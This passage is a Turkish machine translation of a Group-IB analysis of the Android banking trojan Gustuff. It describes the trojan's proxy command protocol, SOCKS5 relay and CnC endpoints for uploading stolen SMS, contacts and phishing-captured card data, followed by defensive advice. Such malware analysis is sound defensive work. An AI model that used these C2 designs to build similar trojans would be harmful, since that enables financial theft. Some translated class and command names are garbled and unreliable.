  • sürüm - bu alan config sınıfında saklanır; botun test edilen sürümleri için “1.6”ya eşitti.

5. Sunucudan komut bekleme moduna geçer. Sunucudan gelen komutlar şu biçimde gelir:

  • 0 ofset – komut
  • 1 ofset – oturum kimliği
  • 2 ofset – uzunluk
  • 4 ofset - veri

Bir komut geldiğinde uygulama şunları günlüğe kaydeder:
mainLog("Başlık { sessionId<%id%>], type[<%command%>], uzunluk[<%length%>] }")

Sunucudan aşağıdaki komutlar mümkündür:

Name Komuta Veri Açıklama
bağlantı kimliği 0 Bağlantı Kimliği Yeni bir bağlantı oluştur
UYKU 3 Zaman Proxy modülünü duraklatın
MASA TENİSİ 4 - PONG mesajı gönder

Bir PONG mesajı 4 bayttan oluşur ve şuna benzer: 0x04000000.

ConnectionId komutu alındığında (yeni bir bağlantı oluşturmak için) Komut Bağlantısı bir sınıfın örneğini oluşturur Proxy Bağlantısı.

  • Proxy işlemine iki sınıf katılır: Proxy Bağlantısı и son. Sınıf oluştururken Proxy Bağlantısı adrese bağlanma ProxyConfigClass.host: ProxyConfigClass.proxyPort ve JSON nesnesini iletmek:

 {
    "id":<%connectionId%>
}

Yanıt olarak sunucu, bağlantı kurulması gereken uzak sunucunun adresini içeren bir SOCKS5 mesajı gönderir. Bu sunucuyla etkileşim sınıf aracılığıyla gerçekleşir son. Bağlantı kurulumu şematik olarak aşağıdaki gibi gösterilebilir:

Android Truva Atı Gustuff hesaplarınızın kaymağını (fiat ve kripto) nasıl sıyırıyor?

Ağ etkileşimleri

Ağ algılayıcıları tarafından trafik analizini önlemek için CnC sunucusu ile uygulama arasındaki etkileşim SSL protokolü kullanılarak korunabilir. Hem sunucudan hem de sunucuya iletilen tüm veriler JSON formatında sunulur. Uygulama, çalışma sırasında aşağıdaki istekleri yerine getirir:

  • http://<%CnC%>/api/v1/set_state.php — komutun yürütülmesinin sonucu.
  • http://<%CnC%>/api/v1/get.php — bir komut alma.
  • http://<%CnC%>/api/v1/load_sms.php — Virüs bulaşmış bir cihazdan SMS mesajları indirmek.
  • http://<%CnC%>/api/v1/load_ab.php — Virüs bulaşmış bir cihazdan kişiler listesinin yüklenmesi.
  • http://<%CnC%>/api/v1/aevents.php – tercih dosyasında bulunan parametreler güncellenirken istek yapılır.
  • http://<%CnC%>/api/v1/set_card.php — Google Play Market gibi görünen bir kimlik avı penceresi kullanılarak elde edilen verilerin yüklenmesi.
  • http://<%CnC%>/api/v1/logs.php – günlük verilerinin yüklenmesi.
  • http://<%CnC%>/api/v1/records.php – kimlik avı pencereleri aracılığıyla elde edilen verilerin yüklenmesi.
  • http://<%CnC%>/api/v1/set_error.php – meydana gelen bir hatanın bildirilmesi.

Öneriler

Müşterilerini mobil Truva atı tehdidinden korumak için şirketlerin, kullanıcı cihazlarına ek yazılım yüklemeden kötü amaçlı etkinlikleri izlemelerine ve önlemelerine olanak tanıyan kapsamlı çözümler kullanması gerekiyor.

Bunu yapmak için, mobil Truva atlarını tespit etmeye yönelik imza yöntemlerinin, hem istemcinin hem de uygulamanın davranışını analiz etmeye yönelik teknolojilerle güçlendirilmesi gerekir. Koruma ayrıca, bir hesabın alışılmadık bir cihazdan ne zaman kullanıldığını ve zaten bir dolandırıcının eline geçtiğini anlamayı mümkün kılacak, dijital parmak izi teknolojisini kullanan bir cihaz tanımlama işlevini de içermelidir.

Temel olarak önemli bir nokta, şirketlerin yalnızca İnternette değil aynı zamanda mobil kanalda, örneğin mobil bankacılık uygulamalarında, kripto para birimleriyle yapılan işlemlerde ve diğerlerinde ortaya çıkan riskleri kontrol etmesine olanak tanıyan çapraz kanal analizinin mevcudiyetidir. işlemler yapılabilir. finansal işlem.

Kullanıcılar için güvenlik kuralları:

  • Android işletim sistemine sahip bir mobil cihaza Google Play dışında herhangi bir kaynaktan uygulama yüklemeyin, uygulamanın talep ettiği haklara özellikle dikkat edin;
  • Android işletim sistemi güncellemelerini düzenli olarak yükleyin;
  • indirilen dosyaların uzantılarına dikkat edin;
  • şüpheli kaynakları ziyaret etmeyin;
  • SMS mesajlarında alınan bağlantılara tıklamayın.

Oyuncular Semyon Rogaçeva, Grup-IB Bilgisayar Adli Bilimler Laboratuarı'nda kötü amaçlı yazılım araştırmalarında kıdemsiz uzman.

Kaynak: habr.com

Yorum ekle